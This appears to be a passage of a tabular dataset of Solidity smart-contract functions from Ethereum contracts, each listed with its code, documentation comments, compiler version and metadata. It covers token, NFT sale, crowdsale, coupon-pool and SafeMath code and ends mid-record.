contract_name stringlengths 1 61 | file_path stringlengths 5 50.4k | contract_address stringlengths 42 42 | language stringclasses 1
value | class_name stringlengths 1 61 | class_code stringlengths 4 330k | class_documentation stringlengths 0 29.1k | class_documentation_type stringclasses 6
values | func_name stringlengths 0 62 | func_code stringlengths 1 303k | func_documentation stringlengths 2 14.9k | func_documentation_type stringclasses 4
values | compiler_version stringlengths 15 42 | license_type stringclasses 14
values | swarm_source stringlengths 0 71 | meta dict | __index_level_0__ int64 0 60.4k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
FixedROwnableToken | @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol | 0x32a5bf1df6e98aa9b3705534e8959b29894d3156 | Solidity | IERC20Metadata | interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals ... | /**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/ | NatSpecMultiLine | decimals | function decimals() external view returns (uint8);
| /**
* @dev Returns the decimals places of the token.
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | MIT | {
"func_code_index": [
349,
403
]
} | 507 | |
FixedROwnableToken | contracts/libraries/ERC20Recoverable.sol | 0x32a5bf1df6e98aa9b3705534e8959b29894d3156 | Solidity | ERC20Recoverable | contract ERC20Recoverable is Ownable {
/**
* @dev Remember that only owner can call so be careful when use on contracts generated from other contracts.
* @param tokenAddress The token contract address
* @param tokenAmount Number of tokens to be sent
*/
function recoverTokens(address tokenAd... | /**
* @title TokenRecover
* @dev Allow to recover any ERC20 sent into the contract for error
*/ | NatSpecMultiLine | recoverTokens | function recoverTokens(address tokenAddress, uint256 tokenAmount) public onlyOwner {
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
| /**
* @dev Remember that only owner can call so be careful when use on contracts generated from other contracts.
* @param tokenAddress The token contract address
* @param tokenAmount Number of tokens to be sent
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | MIT | {
"func_code_index": [
278,
433
]
} | 508 | |
LameloBallNFT | contracts/LameloBallNFT.sol | 0x4d4d7a1ab7f51947210134e7032729f1020d83f3 | Solidity | LameloBallNFT | contract LameloBallNFT is ERC721Enumerable, controllerPanel {
address public lameloContractAddress;
address public ec_contract_address;
IRNG public _iRnd;
uint256 public cardPrice = 0.22 ether;
using Strings for uint256;
mapping(uint16 => uint8) internal tokenData;
uint256 public creator_fe... | buyCard | function buyCard(uint8 _amount) external payable saleActive {
buyCardInternal(_amount, 0, 0);
emit buyWithoutDiscount(msg.sender, _amount);
}
| // ENTRY POINT 1/2 TO SALE CONTRACT | LineComment | v0.8.0+commit.c7dfd78e | {
"func_code_index": [
6645,
6810
]
} | 509 | ||||
LameloBallNFT | contracts/LameloBallNFT.sol | 0x4d4d7a1ab7f51947210134e7032729f1020d83f3 | Solidity | LameloBallNFT | contract LameloBallNFT is ERC721Enumerable, controllerPanel {
address public lameloContractAddress;
address public ec_contract_address;
IRNG public _iRnd;
uint256 public cardPrice = 0.22 ether;
using Strings for uint256;
mapping(uint16 => uint8) internal tokenData;
uint256 public creator_fe... | buyCardWithDiscount | function buyCardWithDiscount(
uint8 _amount,
uint256 _ec_token_id,
uint256 _melo_token_id
) external payable discountActive {
buyCardInternal(_amount, _ec_token_id, _melo_token_id);
emit buyWithDiscount(msg.sender, _amount, _ec_token_id, _melo_token_id);
}
| // ENTRY POINT 2/2 TO SALE CONTRACT | LineComment | v0.8.0+commit.c7dfd78e | {
"func_code_index": [
6852,
7160
]
} | 510 | ||||
PooledDSDCoupons | PooledDSDCoupons.sol | 0x3eab7b78ca39ca1c9f371290308428b7975f8747 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://81779e44a0456cf99d259eb09d00f4b8b9294c1bc7690f0d64d5df813a9831ff | {
"func_code_index": [
259,
445
]
} | 511 | ||
PooledDSDCoupons | PooledDSDCoupons.sol | 0x3eab7b78ca39ca1c9f371290308428b7975f8747 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://81779e44a0456cf99d259eb09d00f4b8b9294c1bc7690f0d64d5df813a9831ff | {
"func_code_index": [
723,
864
]
} | 512 | ||
PooledDSDCoupons | PooledDSDCoupons.sol | 0x3eab7b78ca39ca1c9f371290308428b7975f8747 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | sub | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://81779e44a0456cf99d259eb09d00f4b8b9294c1bc7690f0d64d5df813a9831ff | {
"func_code_index": [
1162,
1359
]
} | 513 | ||
PooledDSDCoupons | PooledDSDCoupons.sol | 0x3eab7b78ca39ca1c9f371290308428b7975f8747 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
... | /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://81779e44a0456cf99d259eb09d00f4b8b9294c1bc7690f0d64d5df813a9831ff | {
"func_code_index": [
1613,
2089
]
} | 514 | ||
PooledDSDCoupons | PooledDSDCoupons.sol | 0x3eab7b78ca39ca1c9f371290308428b7975f8747 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to reve... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://81779e44a0456cf99d259eb09d00f4b8b9294c1bc7690f0d64d5df813a9831ff | {
"func_code_index": [
2560,
2697
]
} | 515 | ||
PooledDSDCoupons | PooledDSDCoupons.sol | 0x3eab7b78ca39ca1c9f371290308428b7975f8747 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | div | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an in... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://81779e44a0456cf99d259eb09d00f4b8b9294c1bc7690f0d64d5df813a9831ff | {
"func_code_index": [
3188,
3471
]
} | 516 | ||
PooledDSDCoupons | PooledDSDCoupons.sol | 0x3eab7b78ca39ca1c9f371290308428b7975f8747 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consumi... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://81779e44a0456cf99d259eb09d00f4b8b9294c1bc7690f0d64d5df813a9831ff | {
"func_code_index": [
3931,
4066
]
} | 517 | ||
PooledDSDCoupons | PooledDSDCoupons.sol | 0x3eab7b78ca39ca1c9f371290308428b7975f8747 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | mod | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcod... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://81779e44a0456cf99d259eb09d00f4b8b9294c1bc7690f0d64d5df813a9831ff | {
"func_code_index": [
4546,
4717
]
} | 518 | ||
PooledDSDCoupons | PooledDSDCoupons.sol | 0x3eab7b78ca39ca1c9f371290308428b7975f8747 | Solidity | PooledDSDCoupons | contract PooledDSDCoupons is ReentrancyGuard {
using SafeMath for uint;
IDSDS public DSDS = IDSDS(0x6Bf977ED1A09214E6209F4EA5f525261f1A2690a);
address public owner;
uint public totalSupply;
string public constant name = "DSD Coupon Pool 3";
string public constant symbol = "DPOOL3";
uint8 publ... | approve | function approve(address _spender, uint _amount) public returns (bool) {
_approve(msg.sender, _spender, _amount);
return true;
}
| // ERC20 functions | LineComment | v0.6.12+commit.27d51765 | None | ipfs://81779e44a0456cf99d259eb09d00f4b8b9294c1bc7690f0d64d5df813a9831ff | {
"func_code_index": [
1698,
1842
]
} | 519 | ||
Crowdsale | Crowdsale.sol | 0xb33b80584a1c787dacac724c6933b537929ab0bc | Solidity | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// uint256 durationInMinutes;
// address where funds are collected
address public wallet;
// token address
address public addressOfTokenUsedAsReward;
// uint256 public price = 300;
uint256 public weiPerToken = 1787289880;
token tokenRewar... | setWeiPerToken | function setWeiPerToken(uint256 _weiPerToken){
if(msg.sender!=wallet) throw;
weiPerToken = _weiPerToken;
}
| // function setPrice(uint256 _price){
// if(msg.sender != wallet) throw;
// price = _price;
// } | LineComment | v0.4.19+commit.c4cbbb05 | bzzr://bd6b484d96f822a7af25115bf53fcf89342cd13d05d4fe659dc24b0259b4290f | {
"func_code_index": [
1664,
1786
]
} | 520 | |||
Crowdsale | Crowdsale.sol | 0xb33b80584a1c787dacac724c6933b537929ab0bc | Solidity | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// uint256 durationInMinutes;
// address where funds are collected
address public wallet;
// token address
address public addressOfTokenUsedAsReward;
// uint256 public price = 300;
uint256 public weiPerToken = 1787289880;
token tokenRewar... | function () payable {
buyTokens(msg.sender);
}
| // fallback function can be used to buy tokens | LineComment | v0.4.19+commit.c4cbbb05 | bzzr://bd6b484d96f822a7af25115bf53fcf89342cd13d05d4fe659dc24b0259b4290f | {
"func_code_index": [
2072,
2129
]
} | 521 | ||||
Crowdsale | Crowdsale.sol | 0xb33b80584a1c787dacac724c6933b537929ab0bc | Solidity | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// uint256 durationInMinutes;
// address where funds are collected
address public wallet;
// token address
address public addressOfTokenUsedAsReward;
// uint256 public price = 300;
uint256 public weiPerToken = 1787289880;
token tokenRewar... | buyTokens | function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be sent
uint256 tokens = ((weiAmount * (10**18)) / weiPerToken);//weiamount * price
// uint256 tokens = (weiAmount/10**(18-decimals)... | // low level token `purchase function | LineComment | v0.4.19+commit.c4cbbb05 | bzzr://bd6b484d96f822a7af25115bf53fcf89342cd13d05d4fe659dc24b0259b4290f | {
"func_code_index": [
2173,
2898
]
} | 522 | |||
Crowdsale | Crowdsale.sol | 0xb33b80584a1c787dacac724c6933b537929ab0bc | Solidity | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// uint256 durationInMinutes;
// address where funds are collected
address public wallet;
// token address
address public addressOfTokenUsedAsReward;
// uint256 public price = 300;
uint256 public weiPerToken = 1787289880;
token tokenRewar... | forwardFunds | function forwardFunds() internal {
// wallet.transfer(msg.value);
if (!wallet.send(msg.value)) {
throw;
}
}
| // send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms | LineComment | v0.4.19+commit.c4cbbb05 | bzzr://bd6b484d96f822a7af25115bf53fcf89342cd13d05d4fe659dc24b0259b4290f | {
"func_code_index": [
3007,
3142
]
} | 523 | |||
Crowdsale | Crowdsale.sol | 0xb33b80584a1c787dacac724c6933b537929ab0bc | Solidity | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// uint256 durationInMinutes;
// address where funds are collected
address public wallet;
// token address
address public addressOfTokenUsedAsReward;
// uint256 public price = 300;
uint256 public weiPerToken = 1787289880;
token tokenRewar... | validPurchase | function validPurchase() internal constant returns (bool) {
bool withinPeriod = started;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
| // @return true if the transaction can buy tokens | LineComment | v0.4.19+commit.c4cbbb05 | bzzr://bd6b484d96f822a7af25115bf53fcf89342cd13d05d4fe659dc24b0259b4290f | {
"func_code_index": [
3198,
3388
]
} | 524 | |||
ChongCaoYuan | ChongCaoYuan.sol | 0xa34d29cf8a06e8d05d22454cc33e5fbe7a3d3213 | Solidity | Ownable | contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
... | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | transferOwnership | function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
| /**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://6247b518a4ef15f39dd94441aa873d466456244d50b99efe8b727ff91b6e60ec | {
"func_code_index": [
638,
819
]
} | 525 | |
ChongCaoYuan | ChongCaoYuan.sol | 0xa34d29cf8a06e8d05d22454cc33e5fbe7a3d3213 | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) pub... | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | transfer | function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
re... | /**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://6247b518a4ef15f39dd94441aa873d466456244d50b99efe8b727ff91b6e60ec | {
"func_code_index": [
268,
618
]
} | 526 | |
ChongCaoYuan | ChongCaoYuan.sol | 0xa34d29cf8a06e8d05d22454cc33e5fbe7a3d3213 | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) pub... | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
| /**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://6247b518a4ef15f39dd94441aa873d466456244d50b99efe8b727ff91b6e60ec | {
"func_code_index": [
824,
940
]
} | 527 | |
ChongCaoYuan | ChongCaoYuan.sol | 0xa34d29cf8a06e8d05d22454cc33e5fbe7a3d3213 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
... | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);... | /**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://6247b518a4ef15f39dd94441aa873d466456244d50b99efe8b727ff91b6e60ec | {
"func_code_index": [
392,
946
]
} | 528 | |
ChongCaoYuan | ChongCaoYuan.sol | 0xa34d29cf8a06e8d05d22454cc33e5fbe7a3d3213 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
... | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | approve | function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
| /**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* ... | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://6247b518a4ef15f39dd94441aa873d466456244d50b99efe8b727ff91b6e60ec | {
"func_code_index": [
1578,
1773
]
} | 529 | |
ChongCaoYuan | ChongCaoYuan.sol | 0xa34d29cf8a06e8d05d22454cc33e5fbe7a3d3213 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
... | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | allowance | function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
| /**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://6247b518a4ef15f39dd94441aa873d466456244d50b99efe8b727ff91b6e60ec | {
"func_code_index": [
2097,
2242
]
} | 530 | |
ChongCaoYuan | ChongCaoYuan.sol | 0xa34d29cf8a06e8d05d22454cc33e5fbe7a3d3213 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
... | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | increaseApproval | function increaseApproval (address _spender, uint _addedValue) public
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
| /**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://6247b518a4ef15f39dd94441aa873d466456244d50b99efe8b727ff91b6e60ec | {
"func_code_index": [
2487,
2771
]
} | 531 | |
DaoModule | contracts/interfaces/Realitio.sol | 0x33b821d1ba2bd4bc48693fdbe042668dd9c151ae | Solidity | Realitio | interface Realitio {
// mapping(bytes32 => Question) public questions;
/// @notice Ask a new question without a bounty and return the ID
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @dev Calling without the token param will only work if... | askQuestion | function askQuestion(
uint256 template_id, string calldata question, address arbitrator, uint32 timeout, uint32 opening_ts, uint256 nonce
) external returns (bytes32);
| /// @notice Ask a new question without a bounty and return the ID
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @dev Calling without the token param will only work if there is no arbitrator-set question fee.
/// @dev This has the same function signature a... | NatSpecSingleLine | v0.8.0+commit.c7dfd78e | {
"func_code_index": [
1196,
1379
]
} | 532 | ||||
DaoModule | contracts/interfaces/Realitio.sol | 0x33b821d1ba2bd4bc48693fdbe042668dd9c151ae | Solidity | Realitio | interface Realitio {
// mapping(bytes32 => Question) public questions;
/// @notice Ask a new question without a bounty and return the ID
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @dev Calling without the token param will only work if... | isFinalized | function isFinalized(bytes32 question_id) view external returns (bool);
| /// @notice Report whether the answer to the specified question is finalized
/// @param question_id The ID of the question
/// @return Return true if finalized | NatSpecSingleLine | v0.8.0+commit.c7dfd78e | {
"func_code_index": [
1553,
1628
]
} | 533 | ||||
DaoModule | contracts/interfaces/Realitio.sol | 0x33b821d1ba2bd4bc48693fdbe042668dd9c151ae | Solidity | Realitio | interface Realitio {
// mapping(bytes32 => Question) public questions;
/// @notice Ask a new question without a bounty and return the ID
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @dev Calling without the token param will only work if... | resultFor | function resultFor(bytes32 question_id) external view returns (bytes32);
| /// @notice Return the final answer to the specified question, or revert if there isn't one
/// @param question_id The ID of the question
/// @return The answer formatted as a bytes32 | NatSpecSingleLine | v0.8.0+commit.c7dfd78e | {
"func_code_index": [
1826,
1902
]
} | 534 | ||||
DaoModule | contracts/interfaces/Realitio.sol | 0x33b821d1ba2bd4bc48693fdbe042668dd9c151ae | Solidity | Realitio | interface Realitio {
// mapping(bytes32 => Question) public questions;
/// @notice Ask a new question without a bounty and return the ID
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @dev Calling without the token param will only work if... | getFinalizeTS | function getFinalizeTS(bytes32 question_id) external view returns (uint32);
| /// @notice Returns the timestamp at which the question will be/was finalized
/// @param question_id The ID of the question | NatSpecSingleLine | v0.8.0+commit.c7dfd78e | {
"func_code_index": [
2037,
2116
]
} | 535 | ||||
DaoModule | contracts/interfaces/Realitio.sol | 0x33b821d1ba2bd4bc48693fdbe042668dd9c151ae | Solidity | Realitio | interface Realitio {
// mapping(bytes32 => Question) public questions;
/// @notice Ask a new question without a bounty and return the ID
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @dev Calling without the token param will only work if... | isPendingArbitration | function isPendingArbitration(bytes32 question_id) external view returns (bool);
| /// @notice Returns whether the question is pending arbitration
/// @param question_id The ID of the question | NatSpecSingleLine | v0.8.0+commit.c7dfd78e | {
"func_code_index": [
2237,
2321
]
} | 536 | ||||
DaoModule | contracts/interfaces/Realitio.sol | 0x33b821d1ba2bd4bc48693fdbe042668dd9c151ae | Solidity | Realitio | interface Realitio {
// mapping(bytes32 => Question) public questions;
/// @notice Ask a new question without a bounty and return the ID
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @dev Calling without the token param will only work if... | createTemplate | function createTemplate(string calldata content) external returns (uint256);
| /// @notice Create a reusable template, which should be a JSON document.
/// Placeholders should use gettext() syntax, eg %s.
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @param content The template content
/// @return The ID of the newly-created templat... | NatSpecSingleLine | v0.8.0+commit.c7dfd78e | {
"func_code_index": [
2697,
2777
]
} | 537 | ||||
DaoModule | contracts/interfaces/Realitio.sol | 0x33b821d1ba2bd4bc48693fdbe042668dd9c151ae | Solidity | Realitio | interface Realitio {
// mapping(bytes32 => Question) public questions;
/// @notice Ask a new question without a bounty and return the ID
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @dev Calling without the token param will only work if... | getBond | function getBond(bytes32 question_id) external view returns (uint256);
| /// @notice Returns the highest bond posted so far for a question
/// @param question_id The ID of the question | NatSpecSingleLine | v0.8.0+commit.c7dfd78e | {
"func_code_index": [
2900,
2974
]
} | 538 | ||||
DaoModule | contracts/interfaces/Realitio.sol | 0x33b821d1ba2bd4bc48693fdbe042668dd9c151ae | Solidity | Realitio | interface Realitio {
// mapping(bytes32 => Question) public questions;
/// @notice Ask a new question without a bounty and return the ID
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @dev Calling without the token param will only work if... | getContentHash | function getContentHash(bytes32 question_id) external view returns (bytes32);
| /// @notice Returns the questions's content hash, identifying the question content
/// @param question_id The ID of the question | NatSpecSingleLine | v0.8.0+commit.c7dfd78e | {
"func_code_index": [
3114,
3195
]
} | 539 | ||||
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbe... | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
| /**
* @dev Multiplies two numbers, throws on overflow.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
89,
272
]
} | 540 | |
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbe... | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Integer division of two numbers, truncating the quotient.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
